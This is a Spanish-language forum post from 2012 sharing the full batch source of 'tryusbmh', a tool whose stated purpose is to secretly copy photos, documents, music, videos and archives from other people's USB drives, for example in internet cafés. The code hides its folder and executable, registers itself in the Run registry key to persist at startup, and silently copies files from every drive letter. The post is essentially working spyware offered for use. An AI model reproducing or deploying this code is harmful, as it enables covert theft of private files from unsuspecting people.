Bienvenidos a Soft-Tecni.Net

Programación en general => Scripting => Mensaje iniciado por: jrchico en Febrero 06, 2012, 12:59:21 am

Título: tryusbmh Copiador de archivos oculto en bat
Publicado por: jrchico en Febrero 06, 2012, 12:59:21 am
tryusbmh,
Este pequeño proyecto lo hice el año pasado es para copiar archivos de las memorias usb sin que el dueño se de cuenta, ejemplo en los cibers.

simplmente ejecutamos ingreso.bat y lo configuramos al gusto. y las configuraciones se guardan en config.bat, todo el codigo y junto al programa esta adjunto abajo al final del post.


Ejemplo de codigo, descargar el adjunto para tener el codigo completo.
Código: [Seleccionar]
mode con cols=80 lines=45
@echo off&color a
set a1=esperando...&set a2=esperando...&set a3=esperando...&set a4=esperando...&set a5=esperando..
:menu
title Tryusbmh by Jrchico ^> Www.Mundohacking.com
cls
call config.bat
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo %ruta%
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Nombre archivo final y de trabajo: %nombre%
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Archivo temporal de compilacion:   %bates%
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±Try usb mh v1 by jrchico±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±±^> $ 0. Crear Nuevo tryusbmh                               }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 1. Modicar ruta, nombre y otros                  }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 2. Instalar tryusbmh                         }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 3. Desinstalar tryusbmh                 }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 4. Activar tryusbmh                 }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 5. Desactivar tryusbmh         }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 6. Ver datos tryusbmh     }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 7. Salir            }}}}}}}}}}}}}}}}}}              ¦Www.Mundohacking.com
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p ingreso=Que quieres hacer amigo:^>^>
if "%ingreso%"=="" (goto :menu)
if %ingreso%==0 goto nuevo
if %ingreso%==1 goto modconfi
if %ingreso%==2 goto instalar
if %ingreso%==3 goto Desinstalar
if %ingreso%==4 goto Activar
if %ingreso%==5 goto Desactivar
if %ingreso%==6 goto ver
if %ingreso%==7 goto salir
if %ingreso%==%ingreso% goto menu
:instalar
if not exist %nombre% (msg * Porfavor cree el archivo de instalacion desde la opcion numero 0, para poder continuar, de lo contrario de tener una archivo ya configurado renombrar a %nombre%&goto menu)
if exist "%ruta%\\%nombre%" (
msg * Se encontro una instalacion anterior porfavor desinstale desde la opcion 3, para poder continuar con una nueva instalacion
goto menu
) else (
goto yacre
)
)
:yacre
cls
Title Instalando tryusbmh
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo                      Instalando %nombre% porfavor espere.....
if not exist "%ruta%" (mkdir "%ruta%")
echo.
echo                      %ruta% (24%) ok...
attrib +h "%ruta%"
echo                      %ruta% ocultar(52%) ok...
echo.
copy "%nombre%" "%ruta%"
echo.
echo                      %nombre% Intalacion (76%) ok...
attrib +h "%ruta%\\%nombre%"
echo.
reg add %userkey% /v tryusbmh /t reg_sz /d "%ruta%\\%nombre%" /f
echo                      %nombre% ocultar (91%) ok...
echo.
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Instalacion completamente (100%) precione enter para volver al menu.
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
pause>nul
goto menu
:Desinstalar
title desinstalando tryusbmh
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Matando proceso (15%) ok...........
taskkill /f /im %nombre%
echo.
echo Eliminando atributos de archivos (55%).............
attrib -h "%ruta%\\%nombre%"
echo.
echo Eliminando archivos de instalacion (81%)............
del "%ruta%\\%nombre%" /f /q
echo.
echo Eliminando llaves de inicio del registro(100%)
reg delete %userkey% /v tryusbmh /f
echo.
echo Se desinstalo completamente "%ruta%\\%nombre%",
echo pero los archivo que se habian copiado no se borraron para ver los archivos seleccionar la opcion 6
echo.
echo Precione enter para volver al menu...
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
goto menu
:nuevo
title creando configuraciones para nuestro tryusbmh...
echo @echo off>%bates%
echo :todo>>%bates%
rem si en un caso tubieras discos duros como la unidad d o e eliminamos las letras
rem ejemplo digamos que tengo la unidad d y e que daria for %%%%a in (f g h i j k l m n o p q r s t u v w x y z) do (
echo for %%%%a in (d e f g h i j k l m n o p q r s t u v w x y z) do (>>%bates%
echo if exist %%%%a: (>>%bates%
rem aqui inician los agregados...............................
cls
goto regreso
:regreso
title Selecciona las opciones de que deseas agregar ala nueva compilacion...
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±           ±±     Seleccione las configuraciones que desee:         ±±      ±±
echo.
echo     ±±       ±±    1. Agregar archivos imagenes %a1%  ±±      ±±    ±±
echo.
echo  Www.    ±±    ±±  2. Agregar archivos comprimidos %a2%        ±±      ±±
echo.                     
echo    Mundo      ±±   3. Agregar archivos de musica %a3%      ±±      ±±  ±±
echo.                                                                             ±±
echo      Hacking   ±±  4. Agregar archivos videos  %a4%    ±±       ±±     ±±
echo.                                                                            ±±
echo ±±       .com   ±± 5. Agregar archivos documentos %a5%  ±±      ±±   ±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo     ±±             ±±    6.  Compilar archivo....       ±±             ±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p sele=                 Seleccione la opcion valida[1-6]:
if "%sele%"=="" (goto :regreso)
if %sele%==1 goto agregaimg
if %sele%==2 goto agregacompri
if %sele%==3 goto agregamusi
if %sele%==4 goto agregavide
if %sele%==5 goto agregadoc
if %sele%==6 goto compilar
if %sele%==%sele% goto regreso
:agregaimg
echo XCOPY "%%%%a:\\*.jpg" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.gif" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.bmp" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.Jpeg" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.png" %ruta%^>nul  /E /I /c /h /r>>%bates%
set a1=Ok...
goto regreso
:agregacompri
echo XCOPY "%%%%a:\\*.rar" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.zip" %ruta%^>nul  /E /I /c /h /r>>%bates%
set a2=Ok...
goto regreso
:agregamusi
echo XCOPY "%%%%a:\\*.mp3" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.wma" %ruta%^>nul  /E /I /c /h /r>>%bates%
set a3=Ok...
goto regreso
:agregavide
echo XCOPY "%%%%a:\\*.mp4" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.avi" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.wmv" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.fly" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.mpg" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.3gp" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.psp" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.rmvb" %ruta%^>nul  /E /I /c /h /r>>%bates%
set a4=Ok...
goto regreso
:agregadoc
echo XCOPY "%%%%a:\\*.doc" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.docx" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.txt" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.html" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.bat" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.php" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.vb" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.xml" %ruta%^>nul  /E /I /c /h /r>>%bates%
set a5=Ok...
goto regreso
:compilar
title Compilando tryusbmh...
rem aqui añadimos ala parte final del archivo....
echo ) else (>>%bates%
echo echo unidad %%%%a: no se encontro se omitio copiado...>>%bates%
echo )>>%bates%
echo )>>%bates%
echo goto todo>>%bates%
echo compilando espere......
if exist "%nombre%" (
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Se encontro una archivo %nombre% anteriormente creado
echo.
echo Porfavor seleccione un nuevo nombre para el archivo
echo.
echo Ejemplo de nombre de respaldo "anterior%nombre%"
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p Numbre=Nuevo Nombre, luego precione enter:^> anterior%nombre%
rename "%nombre%" "Numbre"
) else (
goto yes
)
)
:yes
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
quickbfc "%bates%" "%nombre%"
msg * Compilacion terminada con exito, ahora ya puede instalar...................
del /f "%bates%"
goto menu
:modconfi
title Modificacion de varibles de entorno de instalacion y otros en tryusbmh
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo             Binvenido a la modificacion de variables                       ±±±
echo.                                                                          ±±±
echo 1. Cambiar ruta                                                          ±±±
echo.                                                                        ±±±
echo 2. Cambiar nombre archivo final y de instalacion                        ±±±
echo.                                                                         ±±±
echo 3. Cambiar nombre del archivo temporal antes de la compilacion.           ±±±
echo.                                                                           ±±±
echo 4. Guardar las modificaciones realizadas.                                   ±±±
echo.                                                 5.menu                    ±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p opciones=Selecciona una accion [1-4]:
if "%opciones%"=="" (goto :modconfi)
if %opciones%==1 goto rutacam
if %opciones%==2 goto nombrecam
if %opciones%==3 goto nombretem
if %opciones%==4 goto salvar
if %opciones%==5 goto menu
if %opciones%==%opciones% goto modconfi
cls
:rutacam
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±                    :$ Su ruta actual de trabajo es:
echo ±± -^> %ruta%,
echo.±±±±
echo   ±±±±       Su nueva ruta deberia tener un formato parecido.
echo.    ±±±±
echo       ±±±±   Si no desea escribirla jale la carpeta hacia esta ventana
echo.      ±±±±
echo      ±±±±    Asegurese que la ruta no contenga signos " al principio o
echo.   ±±±±
echo ±±±±         Al final de lo contrario eliminarlos...
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo 1. Ruta de instalacion y copiado de archivos&set /p rutanew=:
if exist "%rutanew%" (
set ruta=%rutanew%
goto nombrecam
) else (
cls
msg * la ruta %rutanew% es invalida, probablemente no exista o contenga " ...
goto rutacam
)
)
pause
:nombrecam
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±± El nombre del archivo de instalacion y de archivo final es %nombre%
echo.   ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±
echo ±±± El nuevo nombre del archivo debera tener un formato parecido             ±±±
echo.   ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±
echo ±±± Escriba el nuevo nombre con extencion .exe y precione enter              ±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo.&set /p arnanombre=:
set nombre=%arnanombre%
goto nombretem
:nombretem
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±± El nombre del archivo temporal es %bates%
echo.   ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±
echo ±±± El nuevo nombre del archivo debera tener un formato parecido             ±±±
echo.   ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±
echo ±±± Escriba el nuevo nombre con extencion .bat y precione enter              ±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo.&set /p nuevotem=:
echo
set bates=%nuevotem%
:salvar
echo Guardando configuraciones
echo.
echo set userkey=%userkey%>config.bat
echo set ruta=%ruta%>>config.bat
echo set nombre=%nombre%>>config.bat
echo set bates=%bates%>>config.bat
echo if exist "%bates%" (del /f "%bates%")>>config.bat
echo.
msg * Configuraciones de variables guardadas con exito....
goto menu
:Activar
if not exist "%ruta%\\%nombre%" (msg * No existe ninguna instalacion que se pueda iniciar, se recomienda crear una instalacion nueva...&goto menu)
call "%ruta%\\%nombre%"
reg add %userkey% /v tryusbmh /t reg_sz /d "%ruta%\\%nombre%" /f
msg * Se Inicio %nombre%, y ademas se agrego al registro para iniciar con el sistema la proxima vez, hasta que elija la opcion 5 desactivar...
goto menu
:Desactivar
if not exist "%ruta%\\%nombre%" (msg * Ningun programa que desactivar no se encontro instalacion...&goto menu)
taskkill /f /im %nombre%
taskkill /f /im cmd.exe
taskkill /f /im xcopy.exe
reg delete %userkey% /v tryusbmh /f
msg * Programa desactivado temporalmente hasta que active la opcion 4
goto menu
:ver
explorer "%ruta%"
:salir
exit


Espero lo disfruten, y no hagan cosas malas,
exit